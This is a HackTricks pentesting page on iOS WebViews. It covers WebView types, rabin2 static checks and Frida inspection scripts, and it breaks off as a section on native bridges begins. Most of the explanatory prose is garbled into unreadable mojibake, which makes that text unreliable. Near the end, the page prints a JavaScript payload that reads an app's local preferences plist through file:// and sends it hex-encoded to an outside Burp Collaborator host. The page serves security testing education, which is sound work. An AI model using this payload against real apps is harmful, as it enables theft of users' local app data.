hacktricks/mobile-pentesting/ios-pentesting/ios-webviews.md

29 KiB

iOS WebViews

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

The code of this page was extracted from here. Check the page for further details.

WebViews types

WebViews рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рднреАрддрд░ рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд░реВрдк рд╕реЗ рд╡реЗрдм рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ WebViews iOS рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдПрдБ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрд╡рд┐рдзрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рдпрд╣рд╛рдБ рдПрдХ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдЕрд╡рд▓реЛрдХрди рд╣реИ:

  • UIWebView, рдЬрд┐рд╕реЗ iOS 12 рд╕реЗ рдЖрдЧреЗ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ JavaScript рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдерди рдХреА рдХрдореА рдХреЗ рдХрд╛рд░рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди рдФрд░ Cross-Site Scripting (XSS) рд╣рдорд▓реЛрдВ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИред

  • WKWebView рдРрдкреНрд╕ рдореЗрдВ рд╡реЗрдм рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╕рдВрджреАрджрд╛ рд╡рд┐рдХрд▓реНрдк рд╣реИ, рдЬреЛ рд╕рд╛рдордЧреНрд░реА рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдкрд░ рдмреЗрд╣рддрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред JavaScript рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рдХреНрд╖рдо рд╣реИ, рд▓реЗрдХрд┐рди рдпрджрд┐ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ рддреЛ рдЗрд╕реЗ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╡рд┐рдВрдбреЛ рдЦреЛрд▓рдиреЗ рд╕реЗ JavaScript рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рд╕реБрд╡рд┐рдзрд╛рдПрдБ рднреА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рднреА рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд▓реЛрдб рд╣реЛред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, WKWebView рдХреА рд╡рд╛рд╕реНрддреБрдХрд▓рд╛ рдореБрдЦреНрдп рдРрдк рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдореЗрдореЛрд░реА рднреНрд░рд╖реНрдЯрд╛рдЪрд╛рд░ рдХреЗ рдЬреЛрдЦрд┐рдо рдХреЛ рдХрдо рдХрд░рддреА рд╣реИред

  • SFSafariViewController рдРрдкреНрд╕ рдХреЗ рднреАрддрд░ рдПрдХ рдорд╛рдирдХреАрдХреГрдд рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд┐рдВрдЧ рдЕрдиреБрднрд╡ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдПрдХ рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рдкрддрд╛ рдХреНрд╖реЗрддреНрд░, рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдФрд░ рдиреЗрд╡рд┐рдЧреЗрд╢рди рдмрдЯрди, рдФрд░ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рдлрд╛рд░реА рдореЗрдВ рдЦреЛрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реАрдзрд╛ рд▓рд┐рдВрдХ рд╕рд╣рд┐рдд рдЗрд╕рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд▓реЗрдЖрдЙрдЯ рджреНрд╡рд╛рд░рд╛ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред WKWebView рдХреЗ рд╡рд┐рдкрд░реАрдд, SFSafariViewController рдореЗрдВ JavaScript рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рд╕рдлрд╛рд░реА рдХреЗ рд╕рд╛рде рдХреБрдХреАрдЬрд╝ рдФрд░ рдбреЗрдЯрд╛ рд╕рд╛рдЭрд╛ рдХрд░рддрд╛ рд╣реИ, рдРрдк рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдмрдирд╛рдП рд░рдЦрддрд╛ рд╣реИред рдЗрд╕реЗ рдРрдк рд╕реНрдЯреЛрд░ рджрд┐рд╢рд╛рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдкреНрд░рдореБрдЦрддрд╛ рд╕реЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Configuration Exploration Summary

Static Analysis Overview

WebViews рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреЗ рд╕рдордп, рджреЛ рдореБрдЦреНрдп рдкреНрд░рдХрд╛рд░реЛрдВ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: UIWebView рдФрд░ WKWebViewред рдЗрди WebViews рдХреЛ рдмрд╛рдЗрдирд░реА рдХреЗ рднреАрддрд░ рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдЧ рд╕рдВрджрд░реНрднреЛрдВ рдФрд░ рдкреНрд░рд╛рд░рдВрднрд┐рдХрдХрд░рдг рд╡рд┐рдзрд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдХрд░рддреЗ рд╣реБрдП рдЖрджреЗрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

  • UIWebView Identification
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

рдпрд╣ рдХрдорд╛рдВрдб рдмрд╛рдЗрдирд░реА рдореЗрдВ рдЗрд╕рдХреЗ рд╕рдВрдмрдВрдзрд┐рдд рдЯреЗрдХреНрд╕реНрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЛ рдЦреЛрдЬрдХрд░ UIWebView рдХреЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред

  • WKWebView рдкрд╣рдЪрд╛рди
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

рдЗрд╕реА рддрд░рд╣, WKWebView рдХреЗ рд▓рд┐рдП, рдпрд╣ рдХрдорд╛рдВрдб рдмрд╛рдЗрдирд░реА рдореЗрдВ рдЯреЗрдХреНрд╕реНрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреА рдЦреЛрдЬ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЗрд╕рдХреЗ рдЙрдкрдпреЛрдЧ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддреА рд╣реИрдВред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ WKWebView рдХреИрд╕реЗ рдкреНрд░рд╛рд░рдВрдн рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЗрд╕рдХреЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХрдХрд░рдг рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╡рд┐рдзрд┐ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕рддреНрдпрд╛рдкрди

WKWebView рдХреЗ рд▓рд┐рдП, рдпрд╣ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЬрдм рддрдХ рдЖрд╡рд╢реНрдпрдХ рди рд╣реЛ, JavaScript рдХреЛ рдмрдВрдж рдХрд░рдирд╛ рдПрдХ рд╕рд░реНрд╡реЛрддреНрддрдо рдкреНрд░рдерд╛ рд╣реИред рдпрд╣ рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдХрд▓рд┐рдд рдмрд╛рдЗрдирд░реА рдХреА рдЦреЛрдЬ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ javaScriptEnabled рдкреНрд░реЙрдкрд░реНрдЯреА false рдкрд░ рд╕реЗрдЯ рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ JavaScript рдмрдВрдж рд╣реИ:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

рдХреЗрд╡рд▓ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рд╛рдордЧреНрд░реА рд╕рддреНрдпрд╛рдкрди

WKWebView рдорд┐рд╢реНрд░рд┐рдд рд╕рд╛рдордЧреНрд░реА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ UIWebView рдХреЗ рд╡рд┐рдкрд░реАрдд рд╣реИред рдпрд╣ hasOnlySecureContent рдкреНрд░реЙрдкрд░реНрдЯреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдВрдЪрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рд╕рднреА рдкреГрд╖реНрда рд╕рдВрд╕рд╛рдзрди рд╕реБрд░рдХреНрд╖рд┐рдд рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓реЛрдб рд╣реЛрддреЗ рд╣реИрдВред рд╕рдВрдХрд▓рд┐рдд рдмрд╛рдЗрдирд░реА рдореЗрдВ рдЦреЛрдЬ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдЬрд╛рддреА рд╣реИ:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

рдбрд╛рдпрдирд╛рдорд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐

рдбрд╛рдпрдирд╛рдорд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдореЗрдВ WebView рдЙрджрд╛рд╣рд░рдгреЛрдВ рдФрд░ рдЙрдирдХреА рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╣реАрдк рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП webviews_inspector.js рдирд╛рдордХ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ UIWebView, WKWebView, рдФрд░ SFSafariViewController рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИред рдпрд╣ рдкрд╛рдП рдЧрдП рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд▓реЙрдЧ рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ URLs рдФрд░ JavaScript рдФрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рд╛рдордЧреНрд░реА рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред

рд╣реАрдк рдирд┐рд░реАрдХреНрд╖рдг ObjC.choose() рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ WebView рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдФрд░ javaScriptEnabled рдФрд░ hasonlysecurecontent рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

{% code title="webviews_inspector.js" %}

ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

{% endcode %}

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЗрд╕ рддрд░рд╣ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

рдореБрдЦреНрдп рдкрд░рд┐рдгрд╛рдо:

  • WebViews рдХреЗ рдЙрджрд╛рд╣рд░рдг рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдкрд╛рдП рдФрд░ рдирд┐рд░реАрдХреНрд╖рдг рдХрд┐рдП рдЧрдПред
  • JavaScript рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рд╛рдордЧреНрд░реА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреА рдкреБрд╖реНрдЯрд┐ рдХреА рдЧрдИред

рдпрд╣ рд╕рд╛рд░рд╛рдВрд╢ рд╕реНрдерд┐рд░ рдФрд░ рдЧрддрд┐рд╢реАрд▓ рджреГрд╖реНрдЯрд┐рдХреЛрдгреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ WebView рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЪрд░рдгреЛрдВ рдФрд░ рдЖрджреЗрд╢реЛрдВ рдХреЛ рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ JavaScript рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ рдорд┐рд╢реНрд░рд┐рдд рд╕рд╛рдордЧреНрд░реА рдкрд╣рдЪрд╛рди рдЬреИрд╕реА рд╕реБрд░рдХреНрд╖рд╛ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред

WebView рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИрдВрдбрд▓рд┐рдВрдЧ

WebViews рдореЗрдВ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рдВрднрд╛рд▓рдирд╛ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкрд╣рд▓реВ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЬреИрд╕реЗ http(s)://, file://, рдФрд░ tel:// рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддреЗ рд╕рдордпред рдпреЗ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдРрдкреНрд╕ рдХреЗ рднреАрддрд░ рджреВрд░рд╕реНрде рдФрд░ рд╕реНрдерд╛рдиреАрдп рд╕рд╛рдордЧреНрд░реА рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред рдпрд╣ рдЬреЛрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЬрдм рд╕реНрдерд╛рдиреАрдп рд╕рд╛рдордЧреНрд░реА рд▓реЛрдб рдХреА рдЬрд╛ рд░рд╣реА рд╣реЛ, рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдирд╛рдо рдпрд╛ рдкрде рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рдиреЗ рдФрд░ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╛рд╡рдзрд╛рдирд┐рдпрд╛рдБ рдмрд░рддрдиреА рдЪрд╛рд╣рд┐рдПред

WebViews рд╕рд╛рдордЧреНрд░реА рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рдзрд┐рдпрд╛рдБ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред UIWebView, рдЬреЛ рдЕрдм рдЕрдкреНрд░рдЪрд▓рд┐рдд рд╣реИ, рдХреЗ рд▓рд┐рдП loadHTMLString:baseURL: рдФрд░ loadData:MIMEType:textEncodingName:baseURL: рдЬреИрд╕реА рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рджреВрд╕рд░реА рдУрд░, WKWebView рд╡реЗрдм рд╕рд╛рдордЧреНрд░реА рдХреЗ рд▓рд┐рдП loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, рдФрд░ loadRequest: рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ pathForResource:ofType:, URLForResource:withExtension:, рдФрд░ init(contentsOf:encoding:) рдЬреИрд╕реА рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред loadFileURL:allowingReadAccessToURL: рд╡рд┐рдзрд┐ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ WebView рдореЗрдВ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ URL рдпрд╛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд░рдЦрддреА рд╣реИ, рдпрджрд┐ рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХреА рдЬрд╛рддреА рд╣реИ рддреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреА рд╣реИред

рдЗрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рд╕реНрд░реЛрдд рдХреЛрдб рдпрд╛ рд╕рдВрдХрд▓рд┐рдд рдмрд╛рдЗрдирд░реА рдореЗрдВ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬреИрд╕реЗ рдЖрджреЗрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Regarding file access, UIWebView рдЗрд╕реЗ рд╕рд╛рд░реНрд╡рднреМрдорд┐рдХ рд░реВрдк рд╕реЗ рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрдмрдХрд┐ WKWebView allowFileAccessFromFileURLs рдФрд░ allowUniversalAccessFromFileURLs рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рдлрд╝рд╛рдЗрд▓ URL рд╕реЗ рдкрд╣реБрдБрдЪ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреЗрд╢ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рдирдореЗрдВ рд╕реЗ рджреЛрдиреЛрдВ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЧрд▓рдд рд╣реИрдВред

рдПрдХ Frida рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЙрджрд╛рд╣рд░рдг рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЗ рд▓рд┐рдП WKWebView рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рддрд╛ рд╣реИ:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

рдЕрдВрдд рдореЗрдВ, рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖рд┐рдд рдПрдХ JavaScript рдкреЗрд▓реЛрдб рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП WebViews рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╕рдВрднрд╛рд╡рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдкреЗрд▓реЛрдб рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╣реЗрдХреНрд╕ рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдПрдиреНрдХреЛрдб рдХрд░рддрд╛ рд╣реИ, рдЬреЛ WebView рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдореЗрдВ рдХрдбрд╝реЗ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЗ рдорд╣рддреНрд╡ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИред

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Native Methods Exposed Through WebViews

Understanding WebView Native Interfaces in iOS

iOS 7 рд╕реЗ, Apple рдиреЗ WebView рдореЗрдВ JavaScript рдФрд░ рдиреЗрдЯрд┐рд╡ Swift рдпрд╛ Objective-C рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЗ рдмреАрдЪ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП APIs рдкреНрд░рджрд╛рди рдХреАред рдпрд╣ рдПрдХреАрдХрд░рдг рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рджреЛ рддрд░реАрдХреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

